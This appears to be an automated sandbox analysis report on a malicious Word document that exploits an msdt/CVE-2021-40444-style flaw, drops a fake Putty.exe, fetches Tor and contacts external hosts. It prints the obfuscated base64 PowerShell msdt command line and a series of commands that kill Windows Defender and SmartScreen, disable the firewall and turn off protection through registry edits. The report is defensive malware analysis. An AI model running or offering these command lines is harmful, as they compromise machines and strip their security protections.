Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\VhdProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SetupPlatformProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SmiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\MsiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AssocProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\GenericProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CompatProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ProvProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\WimProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Data\Tor\geoip6 Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Data\Tor\geoip Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libcrypto-1_1.dll Jump to behavior
Source: Putty.exe, 00000011.00000002.601931009.000000000057E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe System information queried: ModuleInformation Jump to behavior

Anti Debugging
barindex
Tries to detect debuggers (CloseHandle check)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Handle closed: DEADC0DE
Hides threads from debuggers
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E831400 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 36_2_5E831400
Checks if the current process is being debugged
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process queried: DebugObjectHandle Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\taskkill.exe Process token adjusted: Debug Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=? it_launchmethod=contextmenu it_browseforfile=$(invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jcgkeca9ieludm9rzs1xzwjszxf1zxn0igh0dhbzoi8vy2rulmrpc2nvcmrhchauy29tl2f0dgfjag1lbnrzlzewmtk3njgyndmzndaymdiwndyvmtaxotk5njq5ntg1odexodc0ny9wb3dlcnnozwxslnbzmsatvxnlqmfzawnqyxjzaw5noybjbnzva2utrxhwcmvzc2lvbiakkcr4lknvbnrlbnqpkq=='+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exe it_autotroubleshoot=ts_auto
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=? it_launchmethod=contextmenu it_browseforfile=$(invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jcgkeca9ieludm9rzs1xzwjszxf1zxn0igh0dhbzoi8vy2rulmrpc2nvcmrhchauy29tl2f0dgfjag1lbnrzlzewmtk3njgyndmzndaymdiwndyvmtaxotk5njq5ntg1odexodc0ny9wb3dlcnnozwxslnbzmsatvxnlqmfzawnqyxjzaw5noybjbnzva2utrxhwcmvzc2lvbiakkcr4lknvbnrlbnqpkq=='+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exe it_autotroubleshoot=ts_auto Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8678.tmp" "c:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA72F.tmp" "c:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP" Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\cmd.exe cmd.exe Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Users\user\AppData\Roaming\Tor\tor.exe C:\Users\user\AppData\Roaming\Tor\tor.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F9B.tmp" "c:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM MsMpEng.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM smartscreen.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msiexec.exe msiexec /uninstall windowsdefender.msi /quiet Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall set allprofiles state off Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\Dism.exe Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet Jump to behavior
Uses taskkill to terminate processes
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM MsMpEng.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM smartscreen.exe Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender real time protection (registry)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1 Jump to behavior
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall set allprofiles state off
Disable Windows Defender notifications (registry)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disables the Windows task manager (taskmgr)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Registry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr Jump to behavior
Modifies the windows firewall
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall set allprofiles state off
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 706117 Sample: v4nkfHg4d9.doc Startdate: 20/09/2022 Architecture: WINDOWS Score: 100 92 Detected CVE-2021-40444 exploit 2->92 94 Multi AV Scanner detection for domain / URL 2->94 96 Antivirus detection for dropped file 2->96 98 7 other signatures 2->98 7 Putty.exe 12 17 2->7         started        12 WINWORD.EXE 50 66 2->12         started        14 csc.exe 3 2->14         started        16 3 other processes 2->16 process3 dnsIp4 86 dist.torproject.org 38.229.82.25, 443, 49730 TEAM-CYMRUUS United States 7->86 88 www.torproject.org 116.202.120.166, 443, 49728, 49729 HETZNER-ASDE Germany 7->88 58 C:\Users\user\AppData\Roaming\Tor\zlib1.dll, PE32 7->58 dropped 60 C:\Users\user\AppData\Roaming\Tor\tor.exe, PE32 7->60 dropped 62 C:\Users\user\AppData\...\tor-gencert.exe, PE32 7->62 dropped 72 8 other files (none is malicious) 7->72 dropped 104 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 7->104 106 Creates an undocumented autostart registry key 7->106 108 Disable Windows Defender notifications (registry) 7->108 110 6 other signatures 7->110 18 cmd.exe 1 7->18         started        21 tor.exe 5 7->21         started        24 powershell.exe 32 7->24         started        90 ftpupload.net 185.27.134.11, 16577, 21, 42159 WILDCARD-ASWildcardUKLimitedGB United Kingdom 12->90 64 C:\Users\user\AppData\Local\...\a[1].html, HTML 12->64 dropped 66 C:\Users\user\AppData\Local\...\AAB8F95.html, HTML 12->66 dropped 68 C:\Users\user\AppData\Local\...\A8E05CE4.html, HTML 12->68 dropped 26 msdt.exe 21 12->26         started        29 MSOSYNC.EXE 5 12 12->29         started        70 C:\Users\user\AppData\Local\...\vniik5rq.dll, PE32 14->70 dropped 31 cvtres.exe 1 14->31         started        74 2 other files (none is malicious) 16->74 dropped 33 cvtres.exe 1 16->33         started        35 cvtres.exe 1 16->35         started        file5 signatures6 process7 dnsIp8 100 Uses netsh to modify the Windows network and firewall settings 18->100 102 Modifies the windows firewall 18->102 37 Dism.exe 41 18->37         started        40 taskkill.exe 1 18->40         started        42 taskkill.exe 1 18->42         started        48 4 other processes 18->48 80 185.129.61.3, 443, 49737 ZENCURITY-NETDK Denmark 21->80 82 217.12.221.131, 443, 49736 ITLASUA Ukraine 21->82 84 2 other IPs or domains 21->84 44 conhost.exe 21->44         started        46 conhost.exe 24->46         started        76 C:\Windows\Temp\...\DiagPackage.dll.mui, PE32 26->76 dropped 78 C:\Windows\Temp\...\DiagPackage.dll, PE32+ 26->78 dropped file9 signatures10 process11 file12 50 C:\Users\user\AppData\...\WimProvider.dll.mui, PE32 37->50 dropped 52 C:\Users\user\AppData\...\VhdProvider.dll.mui, PE32 37->52 dropped 54 C:\Users\user\...\UnattendProvider.dll.mui, PE32 37->54 dropped 56 35 other files (none is malicious) 37->56 dropped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
116.202.120.166
 www.torproject.org Germany
24940 HETZNER-ASDE false
217.12.221.131
 unknown Ukraine
15626 ITLASUA false
185.27.134.11
 ftpupload.net United Kingdom
34119 WILDCARD-ASWildcardUKLimitedGB true
185.129.61.3
 unknown Denmark
57860 ZENCURITY-NETDK false
38.229.82.25
 dist.torproject.org United States
23028 TEAM-CYMRUUS false
213.152.168.27
 unknown Netherlands
49453 GLOBALLAYERNL false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
ftpupload.net 185.27.134.11 true
www.torproject.org 116.202.120.166 true
dist.torproject.org 38.229.82.25 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.7.10.zip false
    		high
    https://www.torproject.org/dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip false
      		high
      https://www.torproject.org/download/tor/ false
        		high